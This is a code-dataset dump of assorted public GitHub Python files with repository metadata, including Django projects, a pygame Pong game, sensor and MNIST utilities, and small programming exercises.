f7419fb394f5041e57a940c0fad0976acd25ff21 | 2f5d75911722e62c174f80a4d66030a8e0e393fd | /P.4/sensor.py | e2d64b0456dc21fea4b35d32f384bd6f417e8f5a | [] | no_license | AlbertoIbanez/LSE-2015-Alberto | be331e7df94d55fef738d7a0e0b75f95e38ab4e9 | 5c21c547e33733c91be8607aed07199dcb1eb1bd | refs/heads/master | 2016-08-05T05:26:49.613559 | 2015-04-22T13:17:53 | 2015-04-22T13:17:53 | 31,070,520 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,774 | py | import random
import socket
import time
import sys
class sensor:
def __init__(self, sensorName, centralNodeIp, sleepTime, placement):
self.sensorName = sensorName
self.centralNodeIp = centralNodeIp
self.sleepTime = sleepTime
self.temperature = 0.0
self.luminosity = 0.0
self.noise = 0.0
self.placement = ... | [
"alberto.ibanezflamarique@gmail.com"
] | alberto.ibanezflamarique@gmail.com |
97eb63dbfe1a1eae8ede3992dbe594c47baec695 | e0ddffd0c355aa635f8823a9b3c2eddfcc7848eb | /links_left.py | bd199b038bdef88998b59936a9bad1044bed5fdf | [] | no_license | quanted/cyan_app | 871f0532a30995efa02121d0696c64900173f867 | 7a71ce647bb66ba39e1e1ea32b4f9b64a2fc5f9d | refs/heads/dev | 2021-01-13T03:54:37.564319 | 2019-10-16T16:23:26 | 2019-10-16T16:23:26 | 78,225,520 | 0 | 0 | null | 2020-04-14T19:15:29 | 2017-01-06T17:35:20 | Python | UTF-8 | Python | false | false | 745 | py | from django.template.loader import render_to_string
from collections import OrderedDict
from django.shortcuts import redirect
# 03ubertext_links_left:
def ordered_list(model=None, page=None):
link_dict = OrderedDict([
('Model', OrderedDict([
('CyAN', 'cyan'),
])
),
... | [
"arignatius@gmail.com"
] | arignatius@gmail.com |
149a32f41cf34c3a51f8d317601177f0d4f27b59 | 067573d864754a7ce73014086cd6c9165e2b5ea0 | /scripts/pMSSMtree.cfg.py | a99460e708046205f3dac742f4ace7e7d0d8f716 | [] | no_license | UhhCmsAnalysis/Run2pMSSM | 3f586d8dcbaacd4de2ed908062fe9875b43fef4c | bb6c7c7309108b26ff1d8f2062f712d9b848555a | refs/heads/master | 2020-12-21T08:53:50.884254 | 2020-02-09T20:33:58 | 2020-02-09T20:33:58 | 236,379,543 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,020 | py | FILE = open("scripts/analyses.cfg.py")
exec(FILE)
FILE.close()
#################################
# parameters, masses, etc
#################################
treeCfg = [
[ "params",
{"files":"idata/parameters/params_batch*.txt","base":""}],
[ "moreparams",
{"files":"idata/moreparams/moreparams.txt",... | [
"samuel.bein@gmail.com"
] | samuel.bein@gmail.com |
54711c7dd2324bbcab304447d698604a428107b0 | 9bbc2f3f4f69296ee9aef2970a0d7d7c4a2ab2ee | /Video Capture/video_stream_opencv-master/cfg/VideoStream.cfg | 272c16323b99f5d4e09e299c2b1bcd773ad9af6f | [] | no_license | rubis-lab/SML | 6b9702f6f13dbc779bfab34640052fdfc63127f0 | b3bbe6f9ff6967890dfce47ce9496f267ed909bc | refs/heads/master | 2020-04-26T22:59:44.709888 | 2019-09-02T17:14:19 | 2019-09-02T17:14:19 | 173,889,450 | 3 | 2 | null | 2019-03-07T12:09:12 | 2019-03-05T06:37:05 | C++ | UTF-8 | Python | false | false | 1,519 | cfg | #!/usr/bin/env python
from dynamic_reconfigure.parameter_generator_catkin import *
PKG = "video_stream_opencv"
gen = ParameterGenerator()
# name type level description default min max
gen.add("camera_name", str_t, 0, "Camera name", "camera")
gen.add("set_camera_fps", double_t, 0, "Ima... | [
"dohkim119@github.com"
] | dohkim119@github.com |
5bd17d058acc2ae9b0e419a939ef83d286a002a5 | c752eb3a6cbf6a3d60e602fade7cd573cedee7a6 | /getSheetsStatus.py | bd530dfbc05bcde6732b13d355c475b614185fe6 | [
"MIT"
] | permissive | mkortekaas/RainBypass | 32f672462a7b6a23851b9174452a823880e00e1c | b00e783a1004288b7ca9a51f0dcbeb4da156fade | refs/heads/master | 2021-01-18T22:59:52.382970 | 2019-08-12T15:31:51 | 2019-08-12T15:31:51 | 11,034,938 | 0 | 1 | null | null | null | null | UTF-8 | Python | false | false | 3,035 | py | #!/usr/bin/env python
#
# Copyright 2018 Google LLC
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or... | [
"mark@kortekaas.com"
] | mark@kortekaas.com |
33fcb1655b493726efde46bf4eda9f6a56feed54 | 28f83582f02bfbec4e0ee32924913260093549ee | /fercam/fercam/asgi.py | 0ac3f057463aabe36256add27f5abe9bb2ad4b9f | [] | no_license | fabianomobono/transport | 9b8ce8457d1edc3bb1479e3efb4870ba64060403 | 302821b8423ba4ef5e60971a50521a0a31729cb1 | refs/heads/main | 2023-02-09T11:40:54.875356 | 2021-01-04T15:07:58 | 2021-01-04T15:07:58 | 314,293,625 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 456 | py | import os
from channels.auth import AuthMiddlewareStack
from channels.routing import ProtocolTypeRouter, URLRouter
from django.core.asgi import get_asgi_application
import transport.routing
os.environ.setdefault("DJANGO_SETTINGS_MODULE", "fercam.settings")
application = ProtocolTypeRouter({
"http": get_asgi_applic... | [
"fabian.omobono@gmail.com"
] | fabian.omobono@gmail.com |
95575754503668a4a962079a47a87cd7b7287f22 | 6d338d50ee2195f389d7682c1dde72a812087448 | /algorithm/2D/_mini_radius.py | bc1c91239942f4b8415510fefc4ef1da8e25d23f | [] | no_license | HaopengSun/Poisson-disk-sampling-based-algorithm | 28928949d877a1bda8dff93599e70713f194b41d | 7c926510a9da29c83249fb79a24e818a5b5fe47e | refs/heads/master | 2023-07-04T16:02:28.128156 | 2021-08-17T02:14:36 | 2021-08-17T02:14:36 | 364,426,836 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 212 | py | def particles_mini(maximum_radius, minimum_radius, Circles):
for circle in Circles:
if circle.r >= minimum_radius and circle.r <= maximum_radius:
if circle.r != minimum_radius:
return False
return True | [
"45277284+serendipity-harpoon@users.noreply.github.com"
] | 45277284+serendipity-harpoon@users.noreply.github.com |
6bacb134a528804dff45b812c5ea7e73e151f3ac | 0add7953d3e3ce2df9e8265102be39b758579753 | /built-in/TensorFlow/Research/cv/image_classification/Cars_for_TensorFlow/automl/vega/model_zoo/model_zoo.py | 5deb87cd07e7947c8ec193b4da018690b923ef91 | [
"Apache-2.0",
"MIT"
] | permissive | Huawei-Ascend/modelzoo | ae161c0b4e581f8b62c77251e9204d958c4cf6c4 | df51ed9c1d6dbde1deef63f2a037a369f8554406 | refs/heads/master | 2023-04-08T08:17:40.058206 | 2020-12-07T08:04:57 | 2020-12-07T08:04:57 | 319,219,518 | 1 | 1 | Apache-2.0 | 2023-03-24T22:22:00 | 2020-12-07T06:01:32 | Python | UTF-8 | Python | false | false | 3,377 | py | # -*- coding: utf-8 -*-
# Copyright (C) 2020. Huawei Technologies Co., Ltd. All rights reserved.
# This program is free software; you can redistribute it and/or modify
# it under the terms of the MIT License.
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the... | [
"1571856591@qq.com"
] | 1571856591@qq.com |
b942e9a5078d289779b1ca2a0a4a0379847ad14e | ec5a786a883c9ea1837b9b615a5f374da69d21bf | /App.py | 8cd16bf8f39d3d65ec47c8b27d4b44cfb91b8130 | [
"Apache-2.0"
] | permissive | zhenleiji/ZPong | b5721240b0047e39014bec5e7c4cf514af599984 | 6a123239b9c92478b303301396064f9f22f536f9 | refs/heads/master | 2021-01-23T04:28:55.550005 | 2017-03-26T01:56:18 | 2017-03-26T02:09:05 | 86,199,197 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,850 | py | import pygame
from model.Ball import Ball
from model.BarRight import BarRight
from model.BarLeft import BarLeft
from model.BarTop import BarTop
from model.BarBottom import BarBottom
class App:
def __init__(self):
# Initialise pygame
self._running = True
self._display_surf = None
se... | [
"zhenlei.ji@gmail.com"
] | zhenlei.ji@gmail.com |
cb1c16ee59fe20890a221136d81fcc1734dc8a2d | 940bdfb1d2014e0fdf8c1d138efb43935446864a | /ayush_crowdbotics_347/settings.py | 24c34f26d61c779f77db6396b510cd90b427c8e0 | [] | no_license | payush/ayush-crowdbotics-347 | f8568a28c0fd328161e9961d1f4ffc73ed1ff3de | 08b235df039628147296a723f18dc976317479db | refs/heads/master | 2020-03-23T19:49:01.171461 | 2018-07-23T11:14:46 | 2018-07-23T11:14:46 | 142,003,672 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 4,130 | py | """
Django settings for ayush_crowdbotics_347 project.
Generated by 'django-admin startproject' using Django 1.11.5.
For more information on this file, see
https://docs.djangoproject.com/en/1.11/topics/settings/
For the full list of settings and their values, see
https://docs.djangoproject.com/en/1.11/ref/settings/
... | [
"ayushpuroheet@gmail.com"
] | ayushpuroheet@gmail.com |
0343a12712af23f99051af1d1eb45efc8aa04b53 | 5dfa9dfb2d2d604f54de7020aed11642f03f1186 | /SLAC/dark_defects_offline/v0/validator_dark_defects_offline.py | 30eb49152670cb1873fc87d6cdb693baf4218fea | [
"BSD-2-Clause",
"LicenseRef-scancode-unknown-license-reference"
] | permissive | lsst-camera-dh/harnessed-jobs | 49a9a65f3368771ff7b7b22caa94fc8f384681f4 | 352f48b70633b0f0e3faf941198edf1de85f4989 | refs/heads/master | 2021-03-19T16:57:36.199351 | 2019-03-10T21:18:46 | 2019-03-10T21:18:46 | 34,645,042 | 0 | 1 | null | 2018-04-03T23:37:34 | 2015-04-27T03:59:33 | Python | UTF-8 | Python | false | false | 1,050 | py | #!/usr/bin/env python
import lsst.eotest.sensor as sensorTest
import lcatr.schema
import siteUtils
import eotestUtils
sensor_id = siteUtils.getUnitId()
mask_file = '%s_dark_pixel_mask.fits' % sensor_id
eotestUtils.addHeaderData(mask_file, LSST_NUM=sensor_id, TESTTYPE='SFLAT_500',
DATE=eotest... | [
"jchiang@slac.stanford.edu"
] | jchiang@slac.stanford.edu |
46747fbc3c33b336048baf27aad12d4a044b8473 | f0d713996eb095bcdc701f3fab0a8110b8541cbb | /yfooETHj3sHoHTJsv_11.py | 3b80e0b8989222b1ece889e3f7396b901396c028 | [] | no_license | daniel-reich/turbo-robot | feda6c0523bb83ab8954b6d06302bfec5b16ebdf | a7a25c63097674c0a81675eed7e6b763785f1c41 | refs/heads/main | 2023-03-26T01:55:14.210264 | 2021-03-23T16:08:01 | 2021-03-23T16:08:01 | 350,773,815 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 366 | py | """
Create a function that returns `True` when `num1` is equal to `num2`;
otherwise return `False`.
### Examples
is_same_num(4, 8) ➞ False
is_same_num(2, 2) ➞ True
is_same_num(2, "2") ➞ False
### Notes
Don't forget to `return` the result.
"""
def is_same_num(num1, num2):
if num1==num2... | [
"daniel.reich@danielreichs-MacBook-Pro.local"
] | daniel.reich@danielreichs-MacBook-Pro.local |
42e8aa3fbab03891fdbdecdec7e5c1f68e211ce4 | 541209b715276738ff047f5b8de37f3e1a0b6a39 | /Doubler.py | 4d78d86d876071e33e4289efdd0d9434ec189bc7 | [] | no_license | binonguyen1090/PythonExercises | bef8914c93d88bcfe421edd4549749b34d7e00f2 | bb0056b20ba66fea700e7300e90625e87ef1d590 | refs/heads/master | 2020-08-29T18:16:01.873898 | 2019-11-26T04:16:49 | 2019-11-26T04:16:49 | 218,124,846 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 464 | py | # Write a method doubler(numbers) that takes an array of numbers and returns a new array
# where every element of the original array is multiplied by 2.
#
# print doubler([1, 2, 3, 4]) # => [2, 4, 6, 8]
# puts
# print doubler([7, 1, 8]) # => [14, 2, 16]
def doubler(arr):
new = []
for i in range(0,len(arr))... | [
"binonguyen1090@gmail.com"
] | binonguyen1090@gmail.com |
394530c218df75cb6d4205db5a36ae592e904fac | 768caee28ad4eddc7dd0b70b8f293854b25cf25b | /source/examples/mini-tutoriales/mipaquetepython/mipaquetepython/app.py | a3779dc5aadba97063a4ef9233bb278dbccbfc24 | [] | no_license | macagua/collective.spanishdocumentation | bb904cfaaf2e8151d4af18362f379f03a4351715 | a5638b87329dfe54746179bbf1848dad43d62012 | refs/heads/master | 2021-06-06T04:24:26.467552 | 2012-11-28T14:59:26 | 2012-11-28T14:59:26 | 2,941,330 | 2 | 2 | null | 2018-11-07T17:34:54 | 2011-12-08T16:27:56 | Python | UTF-8 | Python | false | false | 76 | py | var = raw_input("Introduzca alguna frase: ")
print "Usted introdujo: ", var
| [
"leonardocaballero@gmail.com"
] | leonardocaballero@gmail.com |
e873276993669b26ecf9589aadea1be08a10112f | bc59bc0c84e4c9ecda50c94c5bb36adc31400bf4 | /mlflowx_test.py | 17c194fec785fc740840526b6d324399bb57a26d | [] | no_license | dum3ng/pipeline-test | 6e352cba5de513a7d497c9314b6e04aaae2684f7 | 3928f0f2828853c31c7b3f9362d2289353490791 | refs/heads/master | 2020-08-22T05:10:21.999403 | 2019-10-25T11:37:08 | 2019-10-25T11:37:08 | 216,324,077 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 71 | py | from mlflowx.pipeline import run_pipeline
run_pipeline('.', 'default') | [
"du.mang@malgo.cn"
] | du.mang@malgo.cn |
c0aab4d5da741f5199ba82dee2e82895cffe5344 | 3ff80a99a95b9c0e13d9452eaa37419335e846ed | /VgammaTuplizer_normalfixed/Ntuplizer/crabconfigs/crab_MC2017WJetsToQQ_HT600to800.py | eab1e046df130cae462f4e360f3d48f9652c9468 | [] | no_license | XL-Seb-Yan/WGammaProducer | 9a58a109c6a8429ce29c9d213864d32f8c33ff50 | 7d1edb4707b5eb60f9d5fe475b8ae347879372e6 | refs/heads/master | 2022-01-15T20:00:59.992103 | 2019-07-03T08:10:55 | 2019-07-03T08:10:55 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 961 | py | from CRABClient.UserUtilities import config, getUsernameFromSiteDB
config = config()
config.General.requestName = 'Wgamma2017_WJetsToQQ_HT600to800_%s'%"Jul18"
config.General.workArea = 'crab_jobs_WgammaMC_2017_%s'%"Jul18"
config.General.transferOutputs = True
config.General.transferLogs = True
config.JobType.pluginNa... | [
"xlyan0636@gmail.com"
] | xlyan0636@gmail.com |
644841a27ffee6c9768e10bb6b4a3bba985e8167 | 7c01e9df3cd2375b756af2f7f25d5bcd24d65d17 | /save-msg | 56831f6c978d5043418cad7b36299d117a9d33b0 | [] | no_license | Seefooo/manage-commit-msg | 809427568599602b25d8782ee9400fe23982cfd7 | 87885d7706b3d0ef1be66752528c44f0614b474d | refs/heads/master | 2022-09-10T20:58:47.511164 | 2020-02-27T20:03:42 | 2020-02-27T20:03:42 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 679 | #!/usr/bin/env python3
import shutil
import sys
def main():
lines = []
with open(sys.argv[1]) as f:
for line in f:
if line.startswith("#"):
continue
if not line.strip():
continue
lines.append(f"# {line}")
if lines:
lines.i... | [
"ygamal@sciencelogic.com"
] | ygamal@sciencelogic.com | |
f84e1c6f02ef74ae1af2ad57059953141012d950 | 957ffc377b411bab574739f0a0fcfa911bc7e877 | /mnist.py | 0536d2fb27d53b759ea536177c56249e580f7a5f | [] | no_license | wanpeng16/Wasserstein-PCA | bfe0369f70fd964bc21bfd002c772e65e89a41c8 | d627a8a1ea32c1f8208425d451db213435d49d0f | refs/heads/master | 2020-04-07T22:23:21.095728 | 2018-06-19T08:43:12 | 2018-06-19T08:43:12 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 9,075 | py | # Copyright 2016 The TensorFlow Authors. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applica... | [
"vivienseguy@gmail.com"
] | vivienseguy@gmail.com |
f1f06da392a28869848367fd1c0d1f4047137f9d | 839dc463e9fcbb06d7994995227420f0e107dde0 | /portfolio/portfolio/urls.py | 5b92022b61b448e82c9efd3640420ce376661bd5 | [] | no_license | jmcclena94/django-portfolio | f0508750eb3ba1e4fedfe1c36b90902861066461 | 1deb07035de371320fab2e953c48454f16be914d | refs/heads/master | 2020-12-31T04:42:40.296275 | 2017-04-15T19:02:06 | 2017-04-15T19:02:06 | 58,496,222 | 1 | 0 | null | 2017-04-15T19:02:06 | 2016-05-10T22:00:56 | Python | UTF-8 | Python | false | false | 534 | py | from django.conf.urls import url, include
from django.contrib import admin
from portfolio.views import HomepageView
from portfolio import settings
from django.conf.urls.static import static
urlpatterns = [
url(r'^admin/', admin.site.urls),
url(r'^$', HomepageView.as_view()),
url(r'^', include('projects.url... | [
"jmcclena94@gmail.com"
] | jmcclena94@gmail.com |
be8933396f92ba4e0bbc0f721914a0ef71410726 | 20cf2cb73adfed63cf182fc12a09aa3aadc033c6 | /filter.py | ba1f301e7c35530bd36538e7e6db9a0ebf49052c | [] | no_license | arunkumar27-ank-tech/Python-Programs | 678ae558e8c141a6302e2705849c97258974c4eb | a56788057d1bf8848681e38eb569874d84db7337 | refs/heads/master | 2023-06-16T14:50:36.146381 | 2021-07-15T13:57:54 | 2021-07-15T13:57:54 | 386,305,015 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 238 | py | from functools import reduce
lst = [1, 2, 3, 4, 5, 6, 7, 8, 9]
evens = list(filter(lambda n: n % 2 == 0, lst))
doubles = list(map(lambda n: n+2, evens))
sum1 = reduce(lambda a, b: a+b, doubles)
print(evens)
print(doubles)
print(sum1)
| [
"arunkumar834428@gmail.com"
] | arunkumar834428@gmail.com |
bf77466fc9d42438623ab91fe345fb7f007eef5d | cca70e45645d5b96f98b1328833d5b4ebb1c882e | /P20/P06.py | cf4525656b07a2c7601c33937201708a72cf69c6 | [] | no_license | webturing/Python3Programming_19DS12 | 9613a9808407b6abef0bc89ad8f74fc3920e789f | 5bbc1e10cec0ebf7d5dfb415a9d4bb07ce0b32ca | refs/heads/master | 2020-08-01T10:23:09.474316 | 2019-12-27T11:52:34 | 2019-12-27T11:52:34 | 210,964,665 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 951 | py | '''
赵、钱、孙、李、周五人围着一张圆桌吃饭。饭后,周回忆说:“吃饭时,赵坐在钱旁边,钱的左边是孙或李”;李回忆说:“钱坐在孙左边,我挨着孙坐”。
结果他们一句也没有说对。请问,他们在怎样坐的?
'''
def left(a, b):
return a + 1 == b or a == 5 and b == 1
def right(a, b):
return left(b, a)
def adj(a, b):
return right(a, b) or left(a, b)
zhao, qian, sun, li, zhou = 1, 1, 1, 1, 1
for qian in range... | [
"zj@webturing.com"
] | zj@webturing.com |
2b5ef836da37b1cb9ee9a6a289de15d8f0aed26a | 8a4cc536a1a9704f5cd095ea3a89dc6613592d67 | /python/57.py | 2da2c5fffc0171c8c83574aebb833a3dc4c1e6e4 | [] | no_license | Edwin-DEV-py/trabajo-30-abril | 07cb8067be0745672f7d8d78c5c092ec34578da8 | 4dfbb6cae93005ed5c7d2d5379378c409f3eca27 | refs/heads/master | 2023-05-25T22:59:52.623818 | 2021-03-29T01:36:39 | 2021-03-29T01:36:39 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 67 | py | #ejercicio 57
cadena = str(input("escriba="))
print((cadena)[::-1]) | [
"nicolas.tarazona.morales@gmail.com"
] | nicolas.tarazona.morales@gmail.com |
f63b2195ee52616587fc6164d332acc72661dd95 | 58cefea9ef21d4822b692ce89471a657bcaa87eb | /tests/system/item_test.py | 3d19bf3b76bc9c3891e0d7ccaebd971099b8c9e4 | [] | no_license | py-guy/test-repo | d1d98d08412e8c6e38d4180987c1d88d6183ff66 | 46e133fad6875e2913ffccdc665ece9db5863eb1 | refs/heads/master | 2020-03-27T11:12:24.303338 | 2018-08-28T17:56:57 | 2018-08-28T17:56:57 | 146,472,029 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 4,817 | py | from models.store import StoreModel
from models.user import UserModel
from models.item import ItemModel
from tests.base_test import BaseTest
import json
class ItemTest(BaseTest):
def setUp(self):
super(ItemTest, self).setUp()
with self.app() as client:
with self.app_context():
... | [
"youssef.bezrati@gmail.com"
] | youssef.bezrati@gmail.com |
85ff0e08501d35318743b11b853830f6643c962f | f0a715bab7c810d2728cd8ab0c4b673316d7f0ae | /venv/bin/rst2html4.py | 132cd58b76ffa9684bbd03db03f0234bf8a54a33 | [] | no_license | bopopescu/topic-modeling-with-LDA | 7eab17db4a4dae8b25b05bc2a1c9e2f0b8b7d323 | 89d272ab97bdc4024714dbf344ef8c1620a55d9e | refs/heads/master | 2022-11-22T05:18:55.955376 | 2018-09-29T11:10:07 | 2018-09-29T11:10:07 | 282,549,848 | 0 | 0 | null | 2020-07-26T00:48:46 | 2020-07-26T00:48:45 | null | UTF-8 | Python | false | false | 763 | py | #!/home/kasumi/PycharmProjects/TopicModelingWithLDA/venv/bin/python
# $Id: rst2html4.py 7994 2016-12-10 17:41:45Z milde $
# Author: David Goodger <goodger@python.org>
# Copyright: This module has been placed in the public domain.
"""
A minimal front end to the Docutils Publisher, producing (X)HTML.
The output confor... | [
"kasumisanchika@gmail.com"
] | kasumisanchika@gmail.com |
306f6c9833017af5befb5b3012a0ced97bc1dbe8 | daa963f18a7ea5bd963c48cebf0aaa4677ff6e72 | /api_project/settings.py | f6f8915b037a23479d19e379c1c8ad40925b44e4 | [] | no_license | sedefbostanci/garden_at_home | 72ad66032e762545e790bb3954f0eae59b91042c | 913cdcb9c778652981605d498b886de7f6c8365e | refs/heads/master | 2022-12-16T08:38:36.371858 | 2020-09-22T15:40:23 | 2020-09-22T15:40:23 | 288,391,495 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 3,743 | py | """
Django settings for api_project project.
Generated by 'django-admin startproject' using Django 3.0.3.
For more information on this file, see
https://docs.djangoproject.com/en/3.0/topics/settings/
For the full list of settings and their values, see
https://docs.djangoproject.com/en/3.0/ref/settings/
"""
import o... | [
"sedefbostanci.SB@gmail.com"
] | sedefbostanci.SB@gmail.com |
c433d7fe29d312b80fbac7fc3888a4c7c7dd2223 | 39c861da8f362874baac3f7e4aab089b18125dab | /ghostwriter/modules/exceptions.py | be1d30a317dbe958adf73cba0a39823fd06cbd43 | [
"BSD-3-Clause"
] | permissive | chrismaddalena/Ghostwriter | 47cdc2111695e19335430326cdf4f880b728be22 | f197be35497ae97c6b90ba17a820ec04e4254c53 | refs/heads/master | 2022-07-09T02:14:12.382165 | 2022-06-07T23:19:15 | 2022-06-07T23:19:15 | 202,816,974 | 3 | 0 | BSD-3-Clause | 2022-03-09T21:07:37 | 2019-08-17T00:37:18 | Python | UTF-8 | Python | false | false | 761 | py | """This contains all of the custom exceptions for the Ghostwriter application."""
class MissingTemplate(Exception):
"""
Exception raised when a report template is missing for a report.
**Attributes**
``message``
Error message to be displayed
"""
def __init__(self, message="No report ... | [
"chris.maddalena@protonmail.com"
] | chris.maddalena@protonmail.com |
c4bfbdba8ddbc1deef38d0aae1718ac01b3d20a6 | c7b622d1ee634ac02817546f0a250b4668f19f57 | /con2xyz.py | dba257c0f24cbdbd271046ba84cceebe88507591 | [] | no_license | erdeq-upenn/vasp_tools | 1f7003a8b7d4a962d9e14ca6b5328b215e18cda6 | f62c64bde01305dabbfdbf23cefb3f5f03fe29e3 | refs/heads/master | 2020-04-24T01:25:14.704311 | 2019-02-20T04:15:13 | 2019-02-20T04:15:13 | 171,597,584 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,830 | py | # only works for cubic structure
import sys
class Atom:
def __init__(self, symbol, xyz):
self.symbol = symbol
self.x = xyz[0]
self.y = xyz[1]
self.z = xyz[2]
def __str__(self):
line = ('%s\t%16.12f\t%16.12f\t%16.12f') \
% (self.symbol, self.x, self.y, se... | [
"noreply@github.com"
] | erdeq-upenn.noreply@github.com |
234660705b99c018421e1a94c25dbe952e2900e5 | dbd85f5f672133244c53e177debe81f3dd845d5b | /week01/task2/mytest/middlewares.py | 005532369dd4f7fded1cfb0f951f155de99a8cd0 | [] | no_license | amelaxie/Python001-class01 | 85ac8f5f954798eadb03ade84fe07a342e84527a | 7a934e3078bc8685101516c8e77f21980dc95d30 | refs/heads/master | 2022-12-09T04:19:59.345189 | 2020-09-06T14:29:44 | 2020-09-06T14:29:44 | 273,846,504 | 0 | 0 | null | 2020-06-21T06:16:08 | 2020-06-21T06:16:08 | null | UTF-8 | Python | false | false | 3,581 | py | # -*- coding: utf-8 -*-
# Define here the models for your spider middleware
#
# See documentation in:
# https://docs.scrapy.org/en/latest/topics/spider-middleware.html
from scrapy import signals
class MytestSpiderMiddleware:
# Not all methods need to be defined. If a method is not defined,
# scrapy acts as ... | [
"remotedesk@qq.com"
] | remotedesk@qq.com |
3621c26d643b968526ee66b6ca84b611670b510a | f75b15158c10291c79f07c312114ec7f974086e0 | /catkin_ws/build/rosserial/rosserial_client/catkin_generated/pkg.develspace.context.pc.py | d232cc65b6b7a9b7e336428470972d1230b15c04 | [] | no_license | nag92/Omnibot | fb1b79dfb0a093b5d00077593d31cdd53ca8c585 | 20ba63ac3f3a1cafd309de11214092d22a4a68ed | refs/heads/master | 2020-03-21T21:51:36.577330 | 2016-11-23T18:28:59 | 2016-11-23T18:28:59 | 74,600,165 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 404 | py | # generated from catkin/cmake/template/pkg.context.pc.in
CATKIN_PACKAGE_PREFIX = ""
PROJECT_PKG_CONFIG_INCLUDE_DIRS = "".split(';') if "" != "" else []
PROJECT_CATKIN_DEPENDS = "".replace(';', ' ')
PKG_CONFIG_LIBRARIES_WITH_PREFIX = "".split(';') if "" != "" else []
PROJECT_NAME = "rosserial_client"
PROJECT_SPACE_DIR =... | [
"ngoldfar@stevens.edu"
] | ngoldfar@stevens.edu |
aa1241b114819b571860ab9d789c7c7dc515c7be | 87bd0cd3352b272cd59b840956d429d31195cf0d | /trydjango/bin/python-config | feb7a242e00263bf2cc90b9e9d54fddc87922a8a | [] | no_license | foteini91/Django_sample | 56d11ad4f1c5232b5f756cce19dba1587e67efb9 | ab50c32543f3da58bfb362d721c455d85688cff9 | refs/heads/master | 2020-07-10T18:44:58.361392 | 2019-08-25T20:15:33 | 2019-08-25T20:15:33 | 204,338,115 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,353 | #!/home/foteinip/DjangoTest/trydjango/bin/python
import sys
import getopt
import sysconfig
valid_opts = ['prefix', 'exec-prefix', 'includes', 'libs', 'cflags',
'ldflags', 'help']
if sys.version_info >= (3, 2):
valid_opts.insert(-1, 'extension-suffix')
valid_opts.append('abiflags')
if sys.versio... | [
"foteinip@projectagora.com"
] | foteinip@projectagora.com | |
dcedde4b907c8e0439a37501b304f4fd5677bd95 | c131e2b20b44040d388b40835dee43ba47d5b367 | /Python/KpiToolBox/mysql/select.py | 32446ae2cad23f02029fbd2522e8ac71c6386d87 | [] | no_license | kwanghyun/Showcases | 9b37b94626e1e98390dc9798283bcfd66094ca43 | 778d65b1313919f0034e3612c3f53fc0b3f0b001 | refs/heads/master | 2020-05-21T23:34:03.876453 | 2017-01-26T18:19:51 | 2017-01-26T18:19:51 | 19,902,271 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 811 | py | #!/usr/bin/python
import MySQLdb
# Open database connection
db = MySQLdb.connect("localhost","root","root","test" )
# prepare a cursor object using cursor() method
cursor = db.cursor()
# Prepare SQL query to INSERT a record into the database.
sql = "SELECT * FROM EMPLOYEE \
WHERE INCOME > '%d'" % (1000)
try:... | [
"kwjang@KWJANG-WS01.cisco.com"
] | kwjang@KWJANG-WS01.cisco.com |
0b048e3eb17caaa260995c929cb0ae618afc02f9 | 81dd984a9f287e1235e50ccc3461f19af48190a4 | /__ref/retina_coco/test.py | d0e866e6718cee653e76cdfd4ebf1c66c0bc3dd3 | [
"MIT"
] | permissive | CVML-Detection/Detection_Party | ca6939e70aa0959130b9d62459f8aad8b1a4e38d | b1e6a32748d9771584a40958e72c1d77560327c8 | refs/heads/master | 2023-03-12T00:02:14.559236 | 2021-03-03T04:08:03 | 2021-03-03T04:08:03 | 333,676,431 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 5,658 | py | import os
import time
import torch
from utils import detect
from evaluator import Evaluator
from config import device, device_ids
def test(epoch, vis, test_loader, model, criterion, coder, opts):
# ---------- load ----------
print('Validation of epoch [{}]'.format(epoch))
model.eval()
check_point = t... | [
"jinugpaeng@gmail.com"
] | jinugpaeng@gmail.com |
7810863a36f0e2655681cc40c069bec877371a85 | 2e042bc67b296c0e65441caaae08c1ada1a29d5e | /0x0A-python-inheritance/6-base_geometry.py | 39283225927fb79e9f0fbc96de52dcbbfd50b1b8 | [] | no_license | nhlshstr/holbertonschool-higher_level_programming | 2329a68bf86c070df0ac1048e7c090446de5e4fc | 68f1ea581207800d76fd9f6932209d787dd80fdb | refs/heads/master | 2020-12-22T05:28:30.756229 | 2020-05-15T02:28:08 | 2020-05-15T02:28:08 | 226,978,510 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 226 | py | #!/usr/bin/python3
""" Class with method area()"""
class BaseGeometry:
""" Class BaseGeometry """
def area(self):
"""
Calculates area
"""
return Exception("area() is not implemented")
| [
"nhlshstr@gmail.com"
] | nhlshstr@gmail.com |
